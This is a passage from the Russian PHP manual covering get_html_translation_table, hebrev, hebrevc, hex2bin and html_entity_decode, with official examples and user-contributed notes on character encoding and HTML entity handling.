ISO-8859-1 | ISO8859-1 | Западно-Европейская кодировка с набором символов Latin-1.
ISO-8859-5 | ISO8859-5 | Кириллическая кодировка с набором символов Latin/Cyrillic; применяют редко.
ISO-8859-15 | ISO8859-15 | Западно-Европейская кодировка с набором символов Latin-9. Добавляет к набору символов Latin-1 кодировки ISO-8859-1 знак евро, французские и финские буквы.
UTF-8 | ASCII-совместимая многобайтовая 8-битная кодировка Unicode.
cp866 | ibm866, 866 | Кириллическая кодировка, которую применяют в семействе операционных систем DOS.
cp1251 | Windows-1251, win-1251, 1251 | Кириллическая кодировка, которую применяют в операционных системах Windows.
cp1252 | Windows-1252, 1252 | Западно-Европейская кодировка, которую применяют в операционных системах Windows.
KOI8-R | koi8-ru, koi8r | Русская кодировка.
BIG5 | 950 | Кодировка с набором символов Traditional Chinese (Традиционный китайский), которую применяют в основном на Тайване.
GB2312 | 936 | Стандартная национальная кодировка с набором символов Simplified Chinese (Упрощённый китайский).
BIG5-HKSCS | Кодировка Big5 с расширениями для Гонконга с набором символов Traditional Chinese (Традиционный китайский).
Shift_JIS | SJIS, SJIS-win, cp932, 932 | Японская кодировка.
EUC-JP | EUCJP, eucJP-win | Японская кодировка.
MacRoman | Кодировка, которую использовала операционная система Mac OS.
'' Пустая строка активирует режим определения кодировки из файла скрипта (Zend multibyte), директивы default_charset и текущей локали (смотрите описание функций nl_langinfo() и setlocale()), в перечисленном порядке. Не рекомендуется использовать.

Замечание: Другие кодировки функция не распознаёт. Вместо других кодировок функция будет использовать кодировку по умолчанию и выдаст предупреждение.

Возвращаемые значения

Возвращает таблицу преобразований в виде массива с оригинальными символами в качестве ключей и сущностями в качестве значений.

Список изменений

Версия | Описание
8.1.0 | Значение по умолчанию параметра flags изменено с ENT_COMPAT на ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401.

Примеры

Пример #1 Пример таблицы преобразований

<?php
var_dump(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES | ENT_HTML5));
?>

Вывод приведённого примера будет похож на:

array(1510) {
  ["
"]=>
  string(9) "&NewLine;"
  ["!"]=>
  string(6) "&excl;"
  ["""]=>
  string(6) "&quot;"
  ["#"]=>
  string(5) "&num;"
  ["$"]=>
  string(8) "&dollar;"
  ["%"]=>
  string(8) "&percnt;"
  ["&"]=>
  string(5) "&amp;"
  ["'"]=>
  string(6) "&apos;"
  // ...
}

Смотрите также

  • htmlspecialchars() - Преобразовывает специальные символы в HTML-сущности
  • htmlentities() - Преобразовывает возможные символы в HTML-сущности
  • html_entity_decode() - Преобразовывает HTML-сущности в символы

User Contributed Notes

michael dot genesis at gmail dot com 12-Dec-2011 03:01
The fact that MS-word and some other sources use CP-1252, and that it is so close to Latin1 ('ISO-8859-1') causes a lot of confusion. What confused me the most was finding that mySQL uses CP-1252 by default.

You may run into trouble if you find yourself tempted to do something like this:
<?php
    $trans[chr(149)] = '&bull;';    // Bullet
    $trans[chr(150)] = '&ndash;';    // En Dash
    $trans[chr(151)] = '&mdash;';    // Em Dash
    $trans[chr(152)] = '&tilde;';    // Small Tilde
    $trans[chr(153)] = '&trade;';    // Trade Mark Sign
?>

Don't do it. DON'T DO IT!

You can use:
<?php
    $translationTable = get_html_translation_table(HTML_ENTITIES, ENT_NOQUOTES, 'WINDOWS-1252');
?>

or just convert directly:
<?php
    $output = htmlentities($input, ENT_NOQUOTES, 'WINDOWS-1252');
?>

But your web page is probably encoded UTF-8, and you probably don't really want CP-1252 text flying around, so fix the character encoding first:
<?php
    $output = mb_convert_encoding($input, 'UTF-8', 'WINDOWS-1252');
    $ouput = htmlentities($output);
?>
kevin at cwsmailbox dot xom 15-Sep-2010 09:55
Be careful using get_html_translation_table() in a loop, as it's very slow.
Kenneth Kin Lum 23-Sep-2008 05:54
to display the mapping on a webpage no matter what the server encoding is, this can be used

  echo "<pre>\n";
  echo htmlentities(print_r((get_html_translation_table(HTML_SPECIALCHARS)), true));
  echo htmlentities(print_r((get_html_translation_table(HTML_ENTITIES)), true));

since get_html_translation_table() actually gives the special chars in iso-8859-1 (Latin-1) encoding, so to see the tables correctly using

  print_r(get_html_translation_table(HTML_ENTITIES));

your server needs to give a HTTP header as iso-8859-1, unless you use header() or manually set the browser's encoding setting to iso-8859-1.  And you need to view the source of the page to see the mapping.  (except English version of IE 7 outputs the page source as iso-8859-1 anyway).
robertn972 at gmail dot com 22-Jul-2008 08:18
I found this useful in converting latin characters

<?php
function convertLatin1ToHtml($str) {
$allEntities = get_html_translation_table(HTML_ENTITIES, ENT_NOQUOTES);
$specialEntities = get_html_translation_table(HTML_SPECIALCHARS, ENT_NOQUOTES);
$noTags = array_diff($allEntities, $specialEntities);
$str = strtr($str, $noTags);
return $str;
}
?>
iain (duh) workingsoftware.com.au 07-Sep-2007 02:06
I wrote a quick little function for converting something like '&middot;' into '&#183;':

$to_convert = '&middot;';
$table = get_html_translation_table(HTML_ENTITIES);
$equiv = '&#'.ord(array_search($to_convert,$table)).';';
Maurizio Siliani at trident dot it 20-Jul-2007 08:43
If you have troubles (like me) getting data from ISO-8859-1 encoded forms where user copy and paste from word, this routine could be useful.
It adds to the standard get_html_translation_table the codes of the characters usually M$ Word replacs into typed text.
Otherwise those characters would never be displayed correctly in html output.

function get_html_translation_table_CP1252() {
    $trans = get_html_translation_table(HTML_ENTITIES);
    $trans[chr(130)] = '&sbquo;';    // Single Low-9 Quotation Mark
    $trans[chr(131)] = '&fnof;';    // Latin Small Letter F With Hook
    $trans[chr(132)] = '&bdquo;';    // Double Low-9 Quotation Mark
    $trans[chr(133)] = '&hellip;';    // Horizontal Ellipsis
    $trans[chr(134)] = '&dagger;';    // Dagger
    $trans[chr(135)] = '&Dagger;';    // Double Dagger
    $trans[chr(136)] = '&circ;';    // Modifier Letter Circumflex Accent
    $trans[chr(137)] = '&permil;';    // Per Mille Sign
    $trans[chr(138)] = '&Scaron;';    // Latin Capital Letter S With Caron
    $trans[chr(139)] = '&lsaquo;';    // Single Left-Pointing Angle Quotation Mark
    $trans[chr(140)] = '&OElig;    ';    // Latin Capital Ligature OE
    $trans[chr(145)] = '&lsquo;';    // Left Single Quotation Mark
    $trans[chr(146)] = '&rsquo;';    // Right Single Quotation Mark
    $trans[chr(147)] = '&ldquo;';    // Left Double Quotation Mark
    $trans[chr(148)] = '&rdquo;';    // Right Double Quotation Mark
    $trans[chr(149)] = '&bull;';    // Bullet
    $trans[chr(150)] = '&ndash;';    // En Dash
    $trans[chr(151)] = '&mdash;';    // Em Dash
    $trans[chr(152)] = '&tilde;';    // Small Tilde
    $trans[chr(153)] = '&trade;';    // Trade Mark Sign
    $trans[chr(154)] = '&scaron;';    // Latin Small Letter S With Caron
    $trans[chr(155)] = '&rsaquo;';    // Single Right-Pointing Angle Quotation Mark
    $trans[chr(156)] = '&oelig;';    // Latin Small Ligature OE
    $trans[chr(159)] = '&Yuml;';    // Latin Capital Letter Y With Diaeresis
    ksort($trans);
    return $trans;
}
Jerome Jaglale 31-Dec-2006 11:43
htmlentities includes htmlspecialchars, so here's how to convert an UTF-8 string :
htmlentities($string, ENT_QUOTES, 'UTF-8');
Patrick nospam at nospam mesopia dot com 29-May-2005 07:00
Not sure what's going on here but I've run into a problem that others might face as well...

<?php

$translations = array_flip(get_html_translation_table(HTML_ENTITIES,ENT_QUOTES));

?>

returns the single quote ' as being equal to &#39; while

<?php

$translatedString = htmlentities($string,ENT_QUOTES);

?>
returns it as being equal to &#039;

I've had to do a specific string replacement for the time being... Not sure if it's an issue with the function or the array manipulation.

-Pat
Alex Minkoff 18-May-2005 04:30
If you want to display special HTML entities in a web browser, you can use the following code:

<?
$entities = get_html_translation_table(HTML_ENTITIES);
foreach ($entities as $entity) {
    $new_entities[$entity] = htmlspecialchars($entity);
}
echo "<pre>";
print_r($new_entities);
echo "</pre>";
?>

If you don't, the key name of each element will appear to be the same as the element content itself, making it look mighty stupid. ;)
kevin_bro at hostedstuff dot com 03-Jan-2003 06:06
Alans version didn't seem to work right. If you're having the same problem consider using this slightly modified version instead:

function unhtmlentities ($string)  {
   $trans_tbl = get_html_translation_table (HTML_ENTITIES);
   $trans_tbl = array_flip ($trans_tbl);
   $ret = strtr ($string, $trans_tbl);
   return preg_replace('/&#(\d+);/me',
      "chr('\\1')",$ret);
}
kumar at chicagomodular.com 28-Oct-2002 05:51
without heavy scientific analysis, this seems to work as a quick fix to making text originating from a Microsoft Word document display as HTML:

<?php
function DoHTMLEntities ($string)
    {
        $trans_tbl = get_html_translation_table (HTML_ENTITIES);

        // MS Word strangeness..
        // smart single/ double quotes:
        $trans_tbl[chr(145)] = '\'';
        $trans_tbl[chr(146)] = '\'';
        $trans_tbl[chr(147)] = '&quot;';
        $trans_tbl[chr(148)] = '&quot;';

                // Acute 'e'
        $trans_tbl[chr(142)] = '&eacute;';

        return strtr ($string, $trans_tbl);
    }
?>
alan at akbkhome dot com 03-Jun-2002 10:00
If you want to decode all those &#123; symbols as well....

function unhtmlentities ($string)  {
    $trans_tbl = get_html_translation_table (HTML_ENTITIES);
    $trans_tbl = array_flip ($trans_tbl);
    $ret = strtr ($string, $trans_tbl);
    return  preg_replace('/\&\#([0-9]+)\;/me',
        "chr('\\1')",$ret);
}
dirk at hartmann dot net 19-Jun-2001 01:41
get_html_translation_table
It works only with the first 256 Codepositions.
For Higher Positions, for Example &#1092;
(a kyrillic Letter) it shows the same.


Преобразовывает текст на иврите из логической кодировки в визуальную

  • « get_html_translation_table
  • hebrevc »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает текст на иврите из логической кодировки в визуальную

hebrev

(PHP 4, PHP 5, PHP 7, PHP 8)

hebrev — Преобразовывает текст на иврите из логической кодировки в визуальную

Описание

hebrev(string $string, int $max_chars_per_line = 0): string

Преобразовывает текст на иврите из логической кодировки в визуальную.

Эта функция пытается избежать разрывов слов.

Список параметров

string

Входная строка на иврите.

max_chars_per_line

Этот необязательный параметр указывает максимально возвращаемое число символов на строку.

Возвращаемые значения

Возвращает строку в визуальной кодировке.

Смотрите также

  • hebrevc() - Преобразовывает текст на иврите из логической кодировки в визуальную с преобразованием перевода строки

User Contributed Notes

udioron at geeee mmmaaaaiiillll dotcom 01-Jan-2009 05:14
This might work for unicode strings:

<?php
$s = iconv("ISO-8859-8", "UTF-8", hebrev(iconv("UTF-8", "ISO-8859-8", $s)));
?>

Udi
tinko 14-Dec-2004 03:46
From my experience in using hebrev text in HTML, I prefer using

<html dir="rtl" lang="he">

over mentioned PHP functions. It works perfectly with IE 6 ... needs some tweaking in Mozilla though.

I found this site http://tlt.its.psu.edu/suggestions/international/web/tips/align.html useful.
socket at linuxloony dot net 03-Apr-2004 06:17
The hebrev function changes the string order to RTL.
Use fribidi_log2vis insted if you need LTR text direction
$text = fribidi_log2vis($text,FRIBIDI_LTR, FRIBIDI_CHARSET_CP1255)
zak at php dot net 09-Jan-2001 03:39
hebrev() changes the flow of any Hebrew characters in a string from right-to-left to left-to-right.

It only affects characters within the range of ASCII 224-251 (except for punctuation).


Преобразовывает текст на иврите из логической кодировки в визуальную с преобразованием перевода строки

  • « hebrev
  • hex2bin »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает текст на иврите из логической кодировки в визуальную с преобразованием перевода строки

hebrevc

(PHP 4, PHP 5, PHP 7)

hebrevc — Преобразовывает текст на иврите из логической кодировки в визуальную с преобразованием перевода строки

Внимание

Эта функция УСТАРЕЛА начиная с PHP 7.4.0 и была УДАЛЕНА в PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

hebrevc(string $hebrew_text, int $max_chars_per_line = 0): string

Эта функция похожа на функцию hebrev() с тем отличием, что она преобразовывает символы перевода строки (\n) в "<br>\n".

Эта функция пытается избежать разрывов слов.

Список параметров

hebrew_text

Входная строка на иврите.

max_chars_per_line

Этот необязательный параметр указывает максимально возвращаемое число символов на строку.

Возвращаемые значения

Возвращает строку в визуальной кодировке.

Смотрите также

  • hebrev() - Преобразовывает текст на иврите из логической кодировки в визуальную

User Contributed Notes

Oded 03-Jul-2009 03:57
If you want to use hebrevc with english,
just use strrev.
yfurman at yahoo dot com 10-Dec-2001 04:41
Beware of English use!
I was working on a little project, and used hebrevc to reverse Hebrew in a loop. The hebrevc function got a variable as an argument. Sometimes the variable was pure English and sometimes it was hebrew.
Suddenly I found out that the English too was cut with BR tags, which made it look funny - the last line was the first.

If you're going to use that function in mixed text, don't forget to check the language before using the function.

Yael


Преобразовывает шестнадцатеричные данные в двоичные

  • « hebrevc
  • html_entity_decode »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает шестнадцатеричные данные в двоичные

hex2bin

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

hex2bin — Преобразовывает шестнадцатеричные данные в двоичные

Описание

hex2bin(string $string): string|false

Функция декодирует двоичную строку в шестнадцатеричной кодировке в двоичные данные.

Предостережение

Функция НЕ конвертирует шестнадцатеричные числа в двоичные. Конвертацию шестнадцатеричного числа в двоичное выполняет функция base_convert().

Список параметров

string

Шестнадцатеричное представление данных.

Возвращаемые значения

Функция возвращает двоичное представление данных или false, если возникла ошибка.

Ошибки

Функция выдаст ошибку уровня E_WARNING, если во входной шестнадцатеричной строке окажется нечётное количество байтов или входная строка окажется недопустимой шестнадцатеричной строкой.

Примеры

Пример #1 Пример использования функции hex2bin()

<?php

$hex = hex2bin("d09fd180d0b8d0bcd0b5d18020d188d0b5d181d182d0bdd0b0d0b4d186d0b0d182d0b5d180d0b8d187d0bdd18bd18520d0b4d0b0d0bdd0bdd18bd185");
var_dump($hex);

?>

Вывод приведённого примера будет похож на:

string(60) "Пример шестнадцатеричных данных"

Смотрите также

  • bin2hex() - Преобразовывает двоичные данные в шестнадцатеричное представление
  • unpack() - Распаковывает данные из бинарной строки

User Contributed Notes

stanliwise at gmail dot com 21-Aug-2022 11:54
#error:
hex2bin(): Hexadecimal input string must have an even length

For those who are facing the error above trying to convert hex to bin. you can pad your hex string with initial 0 before hex2bin.

function hexPad(string $hex_string)
    {
        $st_l = strlen($hex_string);
        return str_pad($hex_string, $st_l + ($st_l % 2), '0', STR_PAD_LEFT);
    }

hexPad('1bc') -> '01bc';

for usage hex2bin(hexPad('1bc'));
nino at re-gister dot com 28-Oct-2021 03:16
if you want to convert a hex encoded string to a binary string without any notices/errors regardless of the input, use this function:

<?php

function hex2binary($str)
{
    return ctype_xdigit(strlen($str) % 2 ? "" : $str) ? hex2bin($str) : false;
}

hex2binary(""); // false
hex2binary("a"); // false
hex2binary("ab"); // binary-string

?>

if the return type is string, you have your binary-string. otherwise (bool) false.
omer dot lakraa at hotmail dot fr 03-Dec-2019 02:30
If you want to convert hex to GUID format (In my case, it was to convert GUID from MSSQL database) :

<?php
function hex2Guid($hex)
{
    $hex = [
        substr($hex, 0, 8),
        substr($hex, 8, 4),
        substr($hex, 12, 4),
        substr($hex, 16, 4),
        substr($hex, 20),
    ];

    $order[0] = [6, 7, 4, 5, 2, 3, 0, 1];
    $order[1] = [2, 3, 0, 1];
    $order[2] = [2, 3, 0, 1];
    $order[3] = [0, 1, 2, 3];
    $order[4] = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11];

    $result = "";

    for($num = 0; $num < count($order); $num++)
    {
        for($i = 0; $i < count($order[$num]); $i++)
        {
            $result .= $hex[$num][$order[$num][$i]];
        }

        if($num != count($order) -1)
        {
            $result .= "-";
        }
    }

    return strtoupper($result);
}

Example :
echo hex2Guid("64d3938b7008cd4bad5ffe56755d163f");

// return 8B93D364-0870-4BCD-AD5F-FE56755D163F
JLovrek 28-Nov-2017 02:14
replace

function Hex2Bin($data) {
    $BinData = "";
    for ($i=0;$i<strlen($data);$i+=2)
        $BinData .= chr( HexDec( substr($data,$i,2) ) );
    return $BinData;

With

function hextobin($hexstr)
    {
        $n = strlen($hexstr);
        $sbin="";
        $i=0;
        while($i<$n)
        {
            $a =substr($hexstr,$i,2);
            $c = pack("H*",$a);
            if ($i==0){$sbin=$c;}
            else {$sbin.=$c;}
            $i+=2;
        }
        return $sbin;
iradu at unix-world dot org 15-Jan-2016 01:38
$test = bin2hex('sample ...');
echo _hex2bin($test);

// another hex2bin replacement
function _hex2bin($result) {
    $out = '';
    for($c=0;$c<strlen($result);$c+=2) {
        $out .= chr(hexdec($result[$c].$result[$c+1]));
    } //end for
    return (string) $out;
}
EM 11-Jun-2014 10:14
Ran into an interesting case with hex2bin and php5.5.12 while upgrading from 5.3.3 -> 5.5.12

The previous code had redeclared the hex2bin function with the $binary_string = pack("H*" , $hex_string) trick.

php5.5.12 would have none of that. The solution, albeit a hacky one, was doing a find an replace of hex2bin to 'hex3bin' for the whole site directory.
carschrotter at gmail dot com 01-Nov-2013 02:19
Case of an incomplete hex string following function may help:
<?php
function make2validhex($data){
    $data = (string) $data;
    $len = strlen($data);
    if($len % 2) {
        return substr($data, 0, $len -1);
    }
    return $data;
}
?>
test:
<?php
$string="not complete";
echo $string;
echo PHP_EOL;
$hex = bin2hex($string); //"6e6f7420636f6d706c657465"
echo $hex;
echo PHP_EOL;
$deff = substr ($hex, 0, strlen($hex) -1);//"6e6f7420636f6d706c65746"
echo $deff;
echo PHP_EOL;
echo hex2bin(make2validhex($deff)); //"not complet"
echo PHP_EOL;
?>
walf 16-Oct-2013 04:41
A drop-in hex2bin emulator which behaves just like the the one in v5.5.1.

<?php
if (!function_exists('hex2bin')) {
    function hex2bin($data) {
        static $old;
        if ($old === null) {
            $old = version_compare(PHP_VERSION, '5.2', '<');
        }
        $isobj = false;
        if (is_scalar($data) || (($isobj = is_object($data)) && method_exists($data, '__toString'))) {
            if ($isobj && $old) {
                ob_start();
                echo $data;
                $data = ob_get_clean();
            }
            else {
                $data = (string) $data;
            }
        }
        else {
            trigger_error(__FUNCTION__.'() expects parameter 1 to be string, ' . gettype($data) . ' given', E_USER_WARNING);
            return;//null in this case
        }
        $len = strlen($data);
        if ($len % 2) {
            trigger_error(__FUNCTION__.'(): Hexadecimal input string must have an even length', E_USER_WARNING);
            return false;
        }
        if (strspn($data, '0123456789abcdefABCDEF') != $len) {
            trigger_error(__FUNCTION__.'(): Input string must be hexadecimal string', E_USER_WARNING);
            return false;
        }
        return pack('H*', $data);
    }
}
?>
jannik [dot] zappe [at] udo [dot] edu 23-Aug-2013 12:00
I modified the function by Johnson a bit so it can be used as a drop-in-replacement. You don't need to worry about upgrading php because when it is upgraded, it will use the build in function.

<?php
if ( !function_exists( 'hex2bin' ) ) {
    function hex2bin( $str ) {
        $sbin = "";
        $len = strlen( $str );
        for ( $i = 0; $i < $len; $i += 2 ) {
            $sbin .= pack( "H*", substr( $str, $i, 2 ) );
        }

        return $sbin;
    }
}
?>
Johnson 01-Jan-2013 12:23
For those who have php version prior to 5.4, i have a solution to convert hex to binary. It works for me in an encryption and decryption application.

<?php
        function hextobin($hexstr)
    {
        $n = strlen($hexstr);
        $sbin="";
        $i=0;
        while($i<$n)
        {
            $a =substr($hexstr,$i,2);
            $c = pack("H*",$a);
            if ($i==0){$sbin=$c;}
            else {$sbin.=$c;}
            $i+=2;
        }
        return $sbin;
    }
?>
jarismar dot php at gmail dot com 17-Dec-2012 01:13
A way to convert hex strings in the form "0x123ABC" to integer is to use the function base_convert("0x123ABC", 16, 10)
Anonymous 23-Feb-2012 02:28
The function pack("H*" , $hex_string); will not work as expected if $hex_string contains an odd number of hexadecimal digits.

For example:

<?php echo ord(pack("H*", 'F')); ?>

will return 240 not 15. Use pack("H*", '0F'); instead.
Anonymous 31-Aug-2011 01:32
The function hex2bin does not exist in PHP5.
You can use 'pack' instead :

$binary_string = pack("H*" , $hex_string);


Преобразовывает HTML-сущности в символы

  • « hex2bin
  • htmlentities »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает HTML-сущности в символы

html_entity_decode

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

html_entity_decode — Преобразовывает HTML-сущности в символы

Описание

html_entity_decode(string $string, int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401, ?string $encoding = null): string

Функция html_entity_decode() выполняет преобразование обратное функции htmlentities(), разница в том, что эта функция наоборот — преобразовывает HTML-сущности в строке string в символы.

Точнее, эта функция декодирует сущности (включая числовые), которые а) допускает тип документа — то есть, для XML-документов функция не декодирует именованные сущности, которые определяет схема DTD и б) символ или символы которых входят в кодированный набор символов, который связан с выбранной кодировкой, и которые разрешает выбранный тип документа. Остальные сущности функция не изменяет.

Список параметров

string

Входная строка.

flags

Битовая маска из следующих флагов, которые определяют, как обрабатывать кавычки и какой тип документа использовать. Маска по умолчанию: ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401.

Константы flags
Имя константы | Описание
ENT_COMPAT | Преобразовывает двойные кавычки, одинарные кавычки не изменяются.
ENT_QUOTES | Преобразовывает как двойные, так и одинарные кавычки.
ENT_NOQUOTES | Оставляет без изменения как двойные, так и одинарные кавычки.
ENT_SUBSTITUTE | Заменяет неправильные последовательности кодовых единиц символом замены Юникода вместо возврата пустой строки: U+FFFD для строк в кодировке UTF-8 и &#FFFD; для строк в других кодировках.
ENT_HTML401 | Обрабатывает код в соответствии со стандартом HTML 4.01.
ENT_XML1 | Обрабатывает код по правилам стандарта XML 1.
ENT_XHTML | Обрабатывает код по правилам стандарта XHTML.
ENT_HTML5 | Обрабатывает код по правилам стандарта HTML 5.

encoding

Необязательный аргумент, который определяет кодировку для преобразования символов.

Функция примет за значение по умолчанию для параметра encoding значение опции конфигурации default_charset, если параметр опустили.

Хотя технически этот аргумент необязателен, настоятельно рекомендуется указать правильное значение для кода, на случай если значение опции default_charset окажется неправильным для входных данных.

Функция поддерживает следующие кодировки:

Кодировки, которые поддерживает функция
Кодировка | Псевдонимы | Описание
ISO-8859-1 | ISO8859-1 | Западно-Европейская кодировка с набором символов Latin-1.
ISO-8859-5 | ISO8859-5 | Кириллическая кодировка с набором символов Latin/Cyrillic; применяют редко.
ISO-8859-15 | ISO8859-15 | Западно-Европейская кодировка с набором символов Latin-9. Добавляет к набору символов Latin-1 кодировки ISO-8859-1 знак евро, французские и финские буквы.
UTF-8 | ASCII-совместимая многобайтовая 8-битная кодировка Unicode.
cp866 | ibm866, 866 | Кириллическая кодировка, которую применяют в семействе операционных систем DOS.
cp1251 | Windows-1251, win-1251, 1251 | Кириллическая кодировка, которую применяют в операционных системах Windows.
cp1252 | Windows-1252, 1252 | Западно-Европейская кодировка, которую применяют в операционных системах Windows.
KOI8-R | koi8-ru, koi8r | Русская кодировка.
BIG5 | 950 | Кодировка с набором символов Traditional Chinese (Традиционный китайский), которую применяют в основном на Тайване.
GB2312 | 936 | Стандартная национальная кодировка с набором символов Simplified Chinese (Упрощённый китайский).
BIG5-HKSCS | Кодировка Big5 с расширениями для Гонконга с набором символов Traditional Chinese (Традиционный китайский).
Shift_JIS | SJIS, SJIS-win, cp932, 932 | Японская кодировка.
EUC-JP | EUCJP, eucJP-win | Японская кодировка.
MacRoman | Кодировка, которую использовала операционная система Mac OS.
'' Пустая строка активирует режим определения кодировки из файла скрипта (Zend multibyte), директивы default_charset и текущей локали (смотрите описание функций nl_langinfo() и setlocale()), в перечисленном порядке. Не рекомендуется использовать.

Замечание: Другие кодировки функция не распознаёт. Вместо других кодировок функция будет использовать кодировку по умолчанию и выдаст предупреждение.

Возвращаемые значения

Функция возвращает декодированную строку.

Список изменений

Версия | Описание
8.1.0 | Значение по умолчанию для параметра flags изменили с ENT_COMPAT на ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401.
8.0.0 | Теперь параметр encoding принимает значение null.

Примеры

Пример #1 Декодирование HTML-сущностей

<?php

$orig = "I'll \"walk\" the <b>dog</b> now";

$a = htmlentities($orig);

$b = html_entity_decode($a);

echo $a; // I'll &quot;walk&quot; the &lt;b&gt;dog&lt;/b&gt; now

echo $b; // I'll "walk" the <b>dog</b> now

?>

Примечания

Замечание:

Кажется странным, что результатом вызова функции trim(html_entity_decode('&nbsp;')); не становится пустая строка. Причина в том, что сущность «&nbsp;» преобразовывается не в символ с ASCII-кодом 32, который функция trim() удаляет, а в символ с ASCII-кодом 160 (0xa0) в принимаемой по умолчанию кодировке ISO-8859-1.

Смотрите также

  • htmlentities() - Преобразовывает возможные символы в HTML-сущности
  • htmlspecialchars() - Преобразовывает специальные символы в HTML-сущности
  • get_html_translation_table() - Возвращает таблицу преобразований, используемую функциями htmlspecialchars и htmlentities
  • urldecode() - Декодирование URL-кодированной строки

User Contributed Notes

Anonymous 01-Mar-2021 03:30
Why doesn't the html_entity_decode() function convert entities without the last semicolon (like &#x41 or &#65) to characters?

---
<?php
echo 'like &#x41 or &#65';
---

Browser displays fine:
----
like A or A
Daniel A. 03-Aug-2018 03:34
I wanted to use this function today and I found the documentation, especially about the flags, not particularly helpful.

Running the code below, for example, failed because the flag I used was the wrong one...

$string = 'Donna&#039;s Bakery';
$title = html_entity_decode($string, ENT_HTML401, 'UTF-8');
echo $title;

The correct flag to use in this case is ENT_QUOTES.

My understanding of the flag to use is the one that would correspond to the expected, converted outcome. So, ENT_QUOTES for a character that would be a single or double quote when converted... and so on.

Please help make the documentation a bit clearer.
slickriptide at gmail dot com 07-Oct-2016 03:54
When using this function, it's a good idea to pay attention when it says that leaving the charset parameter empty is "not recommended".

I had an issue where I was storing text files, with entities converted, into a database. When I retrieved them later and ran

$text_file = html_entity_decode($text_data);

the entities were NOT decoded.

Once I was aware of the problem, I changed the decode call to fully specify all of the parameters:

$text_file = html_entity_decode($text_data, ENT_COMPAT | ENT_HTML5,'utf-8');

This converted the entities as expected.
txnull 25-Aug-2015 08:06
Use the following to decode all entities:
<?php html_entity_decode($string, ENT_QUOTES | ENT_XML1, 'UTF-8') ?>

I've checked these special entities:
- double quotes (&#34;)
- single quotes (&#39; and &apos;)
- non printable chars (e.g. &#13;)
With other $flags some or all won't be decoded.

It seems that ENT_XML1 and ENT_XHTML are identical when decoding.
Benjamin 05-Apr-2013 11:07
The following function decodes named and numeric HTML entities and works on UTF-8. Requires iconv.

function decodeHtmlEnt($str) {
    $ret = html_entity_decode($str, ENT_COMPAT, 'UTF-8');
    $p2 = -1;
    for(;;) {
        $p = strpos($ret, '&#', $p2+1);
        if ($p === FALSE)
            break;
        $p2 = strpos($ret, ';', $p);
        if ($p2 === FALSE)
            break;

        if (substr($ret, $p+2, 1) == 'x')
            $char = hexdec(substr($ret, $p+3, $p2-$p-3));
        else
            $char = intval(substr($ret, $p+2, $p2-$p-2));

        //echo "$char\n";
        $newchar = iconv(
            'UCS-4', 'UTF-8',
            chr(($char>>24)&0xFF).chr(($char>>16)&0xFF).chr(($char>>8)&0xFF).chr($char&0xFF)
        );
        //echo "$newchar<$p<$p2<<\n";
        $ret = substr_replace($ret, $newchar, $p, 1+$p2-$p);
        $p2 = $p + strlen($newchar);
    }
    return $ret;
}
Victor 14-Dec-2011 06:22
We were having very peculiar behavior regarding foreign characters such as e-acute.

However, it was only showing up as a problem when extracting those characters out of our mysql database and when being displayed through a proxy server of ours that handles dns issues.

As other users have made a note of, the default character setting wasn't what they were expecting it to be when they left theirs blank.

When we changed our default_charset to "UTF-8", our problems and needs for using functions like these were no longer necessary in handling foreign characters such as e-acute. Good enough for us!
Martin 26-Jun-2011 04:37
If you need something that converts &#[0-9]+ entities to UTF-8, this is simple and works:

<?php
/* Entity crap. /
$input = "Fovi&#269;";

$output = preg_replace_callback("/(&#[0-9]+;)/", function($m) { return mb_convert_encoding($m[1], "UTF-8", "HTML-ENTITIES"); }, $input);

/* Plain UTF-8. */
echo $output;
?>
neurotic dot neu at gmail dot com 10-Aug-2010 12:25
This is a safe rawurldecode with utf8 detection:

<?php
function utf8_rawurldecode($raw_url_encoded){
    $enc = rawurldecode($raw_url_encoded);
    if(utf8_encode(utf8_decode($enc))==$enc){;
        return rawurldecode($raw_url_encoded);
    }else{
        return utf8_encode(rawurldecode($raw_url_encoded));
    }
}
?>
Free at Key dot no 01-Jul-2010 05:51
Handy function to convert remaining HTML-entities into human readable chars (for entities which do not exist in target charset):

<?php
function cleanString($in,$offset=null)
{
    $out = trim($in);
    if (!empty($out))
    {
        $entity_start = strpos($out,'&',$offset);
        if ($entity_start === false)
        {
            // ideal
            return $out;
        }
        else
        {
            $entity_end = strpos($out,';',$entity_start);
            if ($entity_end === false)
            {
                 return $out;
            }
            // zu lang um eine entity zu sein
            else if ($entity_end > $entity_start+7)
            {
                 // und weiter gehts
                 $out = cleanString($out,$entity_start+1);
            }
            // gottcha!
            else
            {
                 $clean = substr($out,0,$entity_start);
                 $subst = substr($out,$entity_start+1,1);
                 // &scaron; => "s" / &#353; => "_"
                 $clean .= ($subst != "#") ? $subst : "_";
                 $clean .= substr($out,$entity_end+1);
                 // und weiter gehts
                 $out = cleanString($clean,$entity_start+1);
            }
        }
    }
    return $out;
}
?>
Matt Robinson 06-Sep-2009 02:11
I wrote in a previous comment that html_entity_decode() only handled about 100 characters. That's not quite true; it only handles entities that exist in the output character set (the third argument). If you want to get ALL HTML entities, make sure you use ENT_QUOTES and set the third argument to 'UTF-8'.

If you don't want a UTF-8 string, you'll need to convert it afterward with something like utf8_decode(), iconv(), or mb_convert_encoding().

If you're producing XML, which doesn't recognise most HTML entities:

When producing a UTF-8 document (the default), then htmlspecialchars(html_entity_decode($string, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES, 'UTF-8') (because you only need to escape < and > and & unless you're printing inside the XML tags themselves).

Otherwise, either convert all the named entities to numeric ones, or declare the named entities in the document's DTD. The full list of 252 entities can be found in the HTML 4.01 Spec, or you can cut and paste the function from my site (http://inanimatt.com/php-convert-entities.php).
marion at figmentthinking dot com 10-Mar-2009 05:11
I just ran into the:
Bug #27626 html_entity_decode bug - cannot yet handle MBCS in html_entity_decode()!

